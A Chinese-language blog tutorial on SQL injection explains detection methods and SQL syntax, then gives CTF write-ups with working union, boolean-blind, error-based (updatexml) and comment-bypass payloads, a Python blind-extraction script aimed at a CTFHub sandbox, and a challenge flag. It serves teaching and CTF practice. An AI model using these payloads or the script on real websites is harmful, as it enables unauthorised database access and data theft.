当前位置:网站首页>web安全-sql注入漏洞
web安全-sql注入漏洞
2022-08-03 05:10:00 【Pattie.】
一.sql注入漏洞原理
1.什么是sql注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
(百度百科)
2.sql注入成因
最主要的原因还是因为开发者在程序开发过程中不注意规范书写 sql 语句和对特殊字符进行严格的过滤,导致客户端可以通过全局变量 POST 和 GET 甚至其他请求头提交一些 sql 语句而达到正常执行。简单来说就是黑白名单的工作没有做的很细导致注入。
同时,像数据库配置时版本的原因(截断)、对错误的过度回显(报错)、允许多条sql指令的提交(堆叠)等等都有可能会造成注入。
3.sql注入的原理
3.1 注入条件:
- 参数可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。
3.2 判断是否存在注入漏洞:
在参数后面加上单引号,比如: http://xxx/abc.php?id=1' 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
(如果未报错,则有可能页面对单引号做了过滤,这时需使用判断语句进行注入)
3.3 判断注入类型:
数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
- Url 地址中输入
http://xxx/abc.php?id=x and 1=1
页面依旧运行正常,继续进行下一步。 - Url 地址中继续输入
http://xxx/abc.php?id=x and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下:
- 当输入 and 1=1时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。 - 当输入 and 1=2时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。
假设如果这是字符型注入的话,查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设不成立。
字符型判断:
- Url 地址中输入
http://xxx/abc.php?id= x' and '1'='1
页面运行正常,继续进行下一步。 - Url 地址中继续输入
http://xxx/abc.php?id= x' and '1'='2
页面运行错误,则说明此 Sql 注入为字符型注入。
原因如下:
- 当输入 and ‘1’='1时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='1'
语法正确,逻辑判断正确,所以返回正确。 - 当输入 and ‘1’='2时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='2'
语法正确,但逻辑判断错误,所以返回错误。
二.sql的增删改查语句
1.增加语句
新增一条数据
insert into 表名 values(全部列的值,用”,“分割);
insert into 表名 (字段1, 字段2) values (值1, 值2);
新增多行数据
insert into 表名 values(全部列的值),(全部列的值)....;
insert into 表名 (字段1, 字段2) values (值1, 值2),(值1, 值2),(值1, 值2)....;
2.删除语句
delete from 表名 where 条件;
注意:在修改或者删除数据的时候一定要指定条件,否则可能造成所有数据被污染或者清空。
delete from表名
清空数据表内容,不释放空间,即:下次插入表数据,id依然接着删除数据的id继续增加
truncate 表名;
清空表数据,释放空间,即:下次插入表数据,id从1重新开始
drop table表名1
整张表被删除,要使用该表必须重新建
3.修改更新语句
update 表名 set 列1=值1,列2=值2,... where 条件;
例:
update Student set name='张三'where name='李四'
4.查找语句
select * from 表名;
select * from 表名 where 条件;
select 字段 from 表名 where 条件;
select * from 表名 where 字段 like '%值%';
模糊查询like,_代表一个任意字符,%代表多个任意字符
SELECT * from 表名 WHERE 字段 in (上限,下限);
集合查询in
例:
查询姓刘的学生:
SELECT * from student WHERE name like '刘%';
查询身高为160到180的学生:
SELECT * from student WHERE height in (160,180);
常用的关键字查询:
BETWEEN(两个值之间的数据)
查询两个值之间的数据
语法:select * from 表名 where 字段名 between 值 and 值;
查询体重在65-70的学生:
select * FROM student WHERE weight BETWEEN 65 AND 70;
AS(别名)
为字段名指定别名
语法:select 字段名1 AS 别名,字段名2 AS 别名,.... from 表名
将字段名name改为别名学生名称显示:
select name AS '学生名称' FROM student
Distinct(查询时忽略重复值)
语法:SELECT DISTINCT 字段名 FROM 表名
查询学生所在的班级有哪些:
select DISTINCT class_id FROM student
SUM(求和)
语法:select SUM(字段名) from 表名;
查询学生总身高:
select SUM(height) AS '学生总身高' FROM student;
COUNT(计数)
count() 是一个聚合函数,对于返回的结果集,一行行地判断,如果 count 函数的参数不是 NULL,累计值就加 1,否则不加,最后返回累计值。
返回匹配指定条件的行数。
语法:select COUNT(字段名) from 表名;
查询有多少学生:
select count(*) FROM student;
AVG(平均值)
计算平均值
语法:select AVG(字段名) from 表名;
计算学生平均身高:
select AVG(height) AS '学生平均身高' FROM student;
GROUP BY(分组)
根据一或多个字段对查询结果集进行分组
语法: select 字段名 关键字(字段名) from 表名 group by 字段名;
查询男生、女生各有多少:
SELECT gender,count(id) FROM student GROUP BY gender
ORDER BY(排序)
对结果集进行排序(倒叙 desc;升序 asc)
语法:select 字段名 from 表名 order by 字段名 升/降序关键字;
对学生身高降序排列(由高到矮): 倒叙 desc
SELECT * FROM student ORDER BY height desc;
limit(查询结果的数目)
返回查询结果的数目
语法:select 字段名 from 表名 limit 开始条数,结尾条数;
返回前三条学生信息:
SELECT * FROM student LIMIT 1,3;
max(最大值)/ min(最小值)
SELECT MAX(column_name) FROM table_name;
MAX() 函数返回指定列的最大值
SELECT MIN(column_name) FROM table_name;
MIN() 函数返回指定列的最小值
左连接——LEFT JOIN
说明:返回左表中的所有记录和右表中与连接字段相等的记录,如果右表没有匹配的记录,那么就以空(Null)代替显示
语法:select 字段 from 左表表名 左表的变量名(自定义) LEFT JOIN 右表表名 右表的变量名(自定义)on 左表变量名.左表字段=右表变量名.右表字段
右连接——RIGHT JOIN
说明:与左连接相反:返回右表中的所有记录和左表中与连接字段相等的记录,如果左表没有匹配的记录,那么就以空(Null)代替显示。
内连接——INNER JOIN
说明:只返回两个表都与连接字段相等的记录
例:查询学生及其所在的班级信息:
SELECT * FROM student a INNER JOIN class b on a.class_id=b.id;
三.常见的sql注入方式
1.按照注入点类型来分类
字符型注入:参数有一些其他的符号包裹,如单引号、双引号、小括号等等。
数字型注入:参数没有包裹,可以直接进行注入,这种是最危险的,连闭合的步骤的省略了。
搜索型注入:此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
2.按照数据提交的方式来分类
GET注入:一般是在url上直接进行手工注入。
POST注入:POST提交一般存在一些账号密码的提交框框中(当然也可能是其他区域),攻击注入的点需要利用hackbar工具提交POST或者直接对其http协议中的POST提交数据进行注入。
COOKIE注入:COOKIE的修改可以直接用F12查看应用中存在的COOKIE,可对其进行修改注入。
HTTP请求头注入:这个需要对HTTP请求的数据进行修改包再发包。
3.按照注入的方法来分类
sql注入的一库三表:
3.1 union联合注入
union内部的 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型,结果会去掉重复的记录。当union之前的select语句结果集为空时,查询结果将由union后的select语句控制。
用法举例: select username,password from user where id=1 union select 字段1,字段2 from 表名 联合查询的字段数需要和主查询一致
联合注入的过程:
1、判断注入点 2、判断是整型还是字符型
3、判断查询列数 4、判断显示位
5、获取所有数据库名 6、获取数据库所有表名
7、获取字段名 8、获取字段中的数据
例题:BugKu-成绩查询 wp:
1.输入1' 报错说明存在注入
2.三项成绩加上某人成绩单这一列,猜测该表可能为4列,于是输入
1' order by 4#
继续输入
1' order by 5# //接着猜5列,发现报错了,所以只有四列。
3.获取数据库名
-1' union select 1,2,3,database()#//猜完列之后,直接就是联合查询,关于联合查询,
要注意前面的数据一定要不存在,后面的语句才能执行,爆出了数据库名称。
或者
-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata#
4.获取表名
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
//table表下的数据库名字的字段是table_schema,schemata表下的数据库名字字段是schema_name.
此语句的意思是从information_schema的数据库中的table表(information_schema.table)中选取表。where table_schema=database()的意思是此表下的数据库名字。
5.获取字段名
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666C3467#
这里的十六进制要注意不要带着引号转换十六进制
6.获取字段中的数据,得到flag
-1' union select 1,2,3,skctf_flag from fl4g#
3.2 布尔盲注
bool类型只有两个值----1和0。也就是对与错,我们查询到的库名或者表名或者其他数据内容是不会显示出来,只有一个查到没查到的正确或错误的回显,所以我们利用对查到的字符串截断为单个字符判断ASCII码的值,利用布尔的判断逐步提取其字符串。
具体的方法有三种,手工注入(特别麻烦)、暴力破解、编写脚本跑(最简便),前两种方法在开始时需要用length()得库名或者其他数据的长度。
手工注入:利用substring将字符串截断后再对一个一个字符的ASCII的值利用>、=、<,进行判断,利用中值定理,如下:
1'and ascii(substring(database(),1,1))=100--+
暴力破解:在手工注入的基础上,对其ASCII码值的暴力破解(一百多次),最后得到的结果是其一个字符,凭借这样一个一个暴力破解得到一个完整的字符串。
写脚本:大体的思路也和手工差不多,一个一个字符串的判断如果正确了返回正常的界面,将跑出来的界面数据和其中的一些特有的做一个比较即可判断出是否正确,依次跑下去。
一般盲注思路:
1、爆库名长度 2、根据库名长度爆库名
3、对当前库爆表数量 4、根据库名和表数量爆表名长度
5、根据表名长度爆表名 6、对表爆列数量
7、根据表名和列数量爆列名长度 8、根据列名长度爆列名
9.根据列名爆数据值
CTFHub-布尔盲注 wp:
1、爆数据库名长度:通过循环i从1到无穷,使用length(database()) = i
获取库名长度,i是长度,直到返回页面提示query_success即猜测成功,因此库名长度为4。
2、根据库名长度爆库名:获得库名长度i后,使用substr(database(),i,1)
将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符
?id=1 and substr(database(),1,1)=‘a’
#query_error
...
?id=1 and substr(database(),1,1)=‘s’
#query_success
#库名第一个字符是s
...
?id=1 and substr(database(),4,1)=‘i’
#query_success
#库名第四个字符是i
#库名是sqli
后面还要依次爆破库内的表数量,表名长度,表名,列数量,列名等等,这样太麻烦,可以写个盲注脚本,方法参照网上。
脚本源码:
import requests
urlOPEN = 'http://challenge-6eb871220bcbe911.sandbox.ctfhub.com:10800/'
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'/?id=if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
print(name)
break
print('database_name:',name)
def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'/?id=if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)
def column_name():
list = []
for k in range(0,3):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url=urlOPEN+'/?id=if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)
def get_data():
name=''
for j in range(1,50):
for i in range(48,126):
url=urlOPEN+'/?id=if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)
if __name__ == '__main__':
database_name()
table_name()
column_name()
get_data()
运行结果:
3.3 时间盲注
即不会报错回显,也不会有正确和错误的回显,时间盲注是自己创造了一个查询得到的结果是对还是错的环境,可用if()配合sleep(),当我们查询对的语句执行sleep()等待,我们便能猜测这是正确的语句,否则则是错误语句,这个思路与布尔盲注有点类似。他们的区别是,布尔盲注是通过页面回显进行注入,时间盲注是通过响应时间来进行注入,但是思路都是一样,正确和错误的sql语句得到的结果不相同。
3.4 报错注入
报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
updatexml()函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值
语法:updatexml(xml_document,XPthstring,new_value)
第一个参数是字符串string(XML文档对象的名称)
第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
第三个参数是将要替换成什么,string格式
Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串
语法:extractvalue (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串),Xpath定位必须是有效的,否则会发生错误
floor()函数:对任意正或者负的十进制值向下取整
CTFHub-报错注入 wp:
闭合方式 id=1,回显查询正确;输入 1' 提示报错,可以采用报错注入
使用 updatexml()函数,得到库名:
id=1 and updatexml(1,concat(0x5e,database()),1)
查表名:
id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)
查字段:
id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)
查字段值,得到flag:
id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)
发现flag少了一部分,使用mid 就可以得到flag后面的一部分,只有一个 } ,就得到了 全部的flag,
即ctfhub{20df7cd1e47b0dadd40fa1c6}。
id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)
3.5 过滤空格
过滤了空格,我们使用/**/代替空格
/?id=1/**/and/**/1=1
查表名:
/?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=0x73716c69
查字段:
id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x71667866646e61786e75
查找字段值,成功找到flag
id=-1/**/union/**/select/**/1,njwslflghd/**/from/**/sqli.qfxfdnaxnu
边栏推荐
- odps的临时查询能在写sql的时候就给结果一个命名不?
- Flink状态
- 1. 两数之和
- js garbage collection mechanism
- Interface testing framework combat (3) | JSON request and response assertion
- JDBC与连接池
- Unity2D horizontal board game tutorial 6 - enemy AI and attack animation
- Tag stack - stack monotonically preparatory knowledge - lt. 739. The daily temperature
- Exception(异常) 和 Error(错误)区别解析
- idea uses @Autowired annotation to explain the reasons and solutions
猜你喜欢
js implements a bind function
【 Harmony OS 】 【 ano UI 】 lightweight data storage
接口和抽象
3. 无重复字符的最长子串
快速上手 Mockito 单元测试框架
Where is the value of testers
Common fluorescent dyes to modify a variety of groups and its excitation and emission wavelength data in the data
junit总结
Talking about GIS Data (5) - Geographic Coordinate System
shell脚本循环语句
随机推荐
High availability, two locations and three centers
typescript49-交叉类型
Interface testing framework of actual combat (2) | interface request assertion
Common fluorescent dyes to modify a variety of groups and its excitation and emission wavelength data in the data
Interface testing framework combat (3) | JSON request and response assertion
力扣561. 数组拆分
MCM box model modeling method and source analysis of atmospheric O3
FileZilla 搭建ftp服务器
[Fine talk] Using native js to implement todolist
Install IIS services (Internet Information Services (Internet Information Services, abbreviated IIS, Internet Information Services)
如何不耍流氓的做运维之-SHELL脚本
1058 选择题 (20 分)(C语言)
Gradle的安装配置
[Harmony OS] [ArkUI] ets development graphics and animation drawing
Odps temporary query can write SQL, turned out to a named?
Flink state
Interface test practice | Detailed explanation of the difference between GET / POST requests
生活原则。
反射注解基础
Apache DolphinScheduler版本2.0.5分布式集群的安装